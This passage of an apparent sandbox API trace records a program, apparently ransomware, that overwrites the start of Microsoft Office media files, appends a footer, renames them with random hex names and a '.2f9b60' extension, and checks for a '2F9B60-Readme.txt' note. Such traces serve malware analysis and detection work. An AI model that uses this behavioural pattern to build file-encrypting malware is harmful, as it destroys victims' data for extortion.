| out: CurrentTime=0x2870fce0*=132462177425602000) returned 0x0 [0137.320] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x43b0eead [0137.320] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x53402391 [0137.320] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0xa951cac [0137.320] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x73fc2241 [0137.320] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x4faf16a0 [0137.320] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x6793c693 [0137.320] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x254a31ee [0137.320] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x38134a9f [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x528370dd [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x7b3f4471 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x1707570e [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x6632a6d4 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x44c0d213 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x7ab92c12 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x5585dc6d [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x27661f4f [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x781a49f6 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x247728be [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x5ed4a64a [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x3f4b6c4e [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0xdb5a6bd [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x6b54c1ca [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0xea4c08e [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x23d944a6 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0xda261f3 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x2ad16c3b [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x617be0c4 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x6c237207 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x494c0eb0 [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x23d40ab [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x56f996ec [0137.321] RtlRandomEx (in: Seed=0x2870fcd0 | out: Seed=0x2870fcd0) returned 0x27c12151 [0137.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0137.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0137.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0137.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0137.332] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.332] ReadFile (in: hFile=0x1e14, lpBuffer=0x203190f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2870fd40, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x2870fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0137.365] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0137.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0137.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203554e0 [0137.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0137.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0137.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0137.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.367] WriteFile (in: hFile=0x1e14, lpBuffer=0x203554e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2870fd40, lpOverlapped=0x0 | out: lpBuffer=0x203554e0*, lpNumberOfBytesWritten=0x2870fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0137.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203554e0) returned 1 [0137.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0137.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a0e0 [0137.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0137.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0137.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a530 [0137.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0137.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0137.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0137.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166f20 [0137.429] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.429] WriteFile (in: hFile=0x1e14, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2870fdf0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x2870fdf0*=0x10a, lpOverlapped=0x0) returned 1 [0137.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0137.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0137.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0137.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ed30 [0137.445] sprintf (in: _Dest=0x1cd9ed30, _Format="%c%c" | out: _Dest="29") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed32, _Format="%c%c" | out: _Dest="bc") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed34, _Format="%c%c" | out: _Dest="90") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed36, _Format="%c%c" | out: _Dest="03") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed38, _Format="%c%c" | out: _Dest="35") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed3a, _Format="%c%c" | out: _Dest="e5") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed3c, _Format="%c%c" | out: _Dest="85") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed3e, _Format="%c%c" | out: _Dest="45") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed40, _Format="%c%c" | out: _Dest="73") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed42, _Format="%c%c" | out: _Dest="2e") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed44, _Format="%c%c" | out: _Dest="bd") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed46, _Format="%c%c" | out: _Dest="c6") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed48, _Format="%c%c" | out: _Dest="dd") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed4a, _Format="%c%c" | out: _Dest="04") returned 2 [0137.445] sprintf (in: _Dest=0x1cd9ed4c, _Format="%c%c" | out: _Dest="6a") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed4e, _Format="%c%c" | out: _Dest="0c") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed50, _Format="%c%c" | out: _Dest="f7") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed52, _Format="%c%c" | out: _Dest="8c") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed54, _Format="%c%c" | out: _Dest="7d") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed56, _Format="%c%c" | out: _Dest="d6") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed58, _Format="%c%c" | out: _Dest="19") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed5a, _Format="%c%c" | out: _Dest="c9") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed5c, _Format="%c%c" | out: _Dest="16") returned 2 [0137.446] sprintf (in: _Dest=0x1cd9ed5e, _Format="%c%c" | out: _Dest="44") returned 2 [0137.446] RtlInitAnsiString (in: DestinationString=0x2870fe68, SourceString="29bc900335e58545732ebdc6dd046a0cf78c7dd619c91644" | out: DestinationString="29bc900335e58545732ebdc6dd046a0cf78c7dd619c91644") [0137.446] RtlAnsiStringToUnicodeString (in: DestinationString=0x2870fe38, SourceString="29bc900335e58545732ebdc6dd046a0cf78c7dd619c91644", AllocateDestinationString=1 | out: DestinationString="29bc900335e58545732ebdc6dd046a0cf78c7dd619c91644") returned 0x0 [0137.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0137.446] RtlFreeAnsiString (AnsiString="2") [0137.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ed30) returned 1 [0137.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0137.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0137.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506a90 [0137.448] wcscat (in: _Dest=0x20506a90, _Source="29bc900335e5" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\29bc900335e5") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\29bc900335e5" [0137.448] wcscat (in: _Dest=0x20506a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\29bc900335e5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\29bc900335e5.2f9b60" [0137.448] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\29bc900335e5.2f9b60", NtPathName=0x2870fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\29bc900335e5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c0e0 [0137.448] NtSetInformationFile (FileHandle=0x1e14, IoStatusBlock=0x2870feb0, FileInformation=0x2050c0e0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c0e0) returned 1 [0146.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291460) returned 1 [0146.852] NtQueryInformationFile (in: FileHandle=0x1e14, IoStatusBlock=0x2870fe78, FileInformation=0x2870fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2870fe78, FileInformation=0x2870fe88) returned 0x0 [0146.852] NtSetInformationFile (FileHandle=0x1e14, IoStatusBlock=0x2870fe78, FileInformation=0x2870fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506a90) returned 1 [0147.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0147.004] FlushFileBuffers (hFile=0x1e14) returned 1 [0147.029] CloseHandle (hObject=0x1e14) returned 1 [0147.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b0d0 [0147.089] wcscpy (in: _Dest=0x1b86b0d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.090] wcscat (in: _Dest=0x1b86b0d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b0d0) returned 1 [0147.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b3a0) returned 1 Thread: id = 1780 os_tid = 0x17d4 [0132.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf")) returned 0x20 [0133.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF", dwFileAttributes=0x20) returned 1 [0134.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dd8 [0136.897] GetFileSizeEx (in: hFile=0x1dd8, lpFileSize=0x2883f8a0 | out: lpFileSize=0x2883f8a0*=18370) returned 1 [0136.897] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x47be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.897] ReadFile (in: hFile=0x1dd8, lpBuffer=0x2883f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2883f868, lpOverlapped=0x0 | out: lpBuffer=0x2883f820*, lpNumberOfBytesRead=0x2883f868*=0x4, lpOverlapped=0x0) returned 1 [0136.914] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0136.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.915] NtQuerySystemTime (in: CurrentTime=0x2883f760 | out: CurrentTime=0x2883f760*=132462177421546000) returned 0x0 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x292c3cb [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x26fd25cc [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x2fb50414 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x8705546 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x43defd81 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x4e7cd34d [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x4cad4c86 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x6c9f81 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x42777f06 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0xd7a8635 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x4cfe33d2 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x2caefed2 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x5e5a8346 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x34085db6 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x77900416 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x48094043 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0xc0e974b [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x42e8e60b [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x1a886ce9 [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x6ebcc91a [0136.915] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x2f01e3f6 [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x5863da8e [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x33eec441 [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x5d1abfa0 [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x1d2efa5d [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x361389de [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x262ffe68 [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x2d57f64c [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x69952e4b [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x32611d24 [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x41cbc9a [0136.916] RtlRandomEx (in: Seed=0x2883f750 | out: Seed=0x2883f750) returned 0x26ee89fc [0136.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a110 [0136.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20320910 [0136.928] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.928] ReadFile (in: hFile=0x1dd8, lpBuffer=0x20320910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2883f7c0, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesRead=0x2883f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.935] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20324520 [0136.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.937] WriteFile (in: hFile=0x1dd8, lpBuffer=0x20324520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2883f7c0, lpOverlapped=0x0 | out: lpBuffer=0x20324520*, lpNumberOfBytesWritten=0x2883f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20324520) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0136.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9010 [0136.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0136.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a5c0 [0136.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1a0 [0136.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0136.951] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.951] WriteFile (in: hFile=0x1dd8, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2883f870, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2883f870*=0x10a, lpOverlapped=0x0) returned 1 [0136.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0136.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9feb0 [0136.961] sprintf (in: _Dest=0x1cd9feb0, _Format="%c%c" | out: _Dest="05") returned 2 [0136.961] sprintf (in: _Dest=0x1cd9feb2, _Format="%c%c" | out: _Dest="c1") returned 2 [0136.961] sprintf (in: _Dest=0x1cd9feb4, _Format="%c%c" | out: _Dest="eb") returned 2 [0136.961] sprintf (in: _Dest=0x1cd9feb6, _Format="%c%c" | out: _Dest="23") returned 2 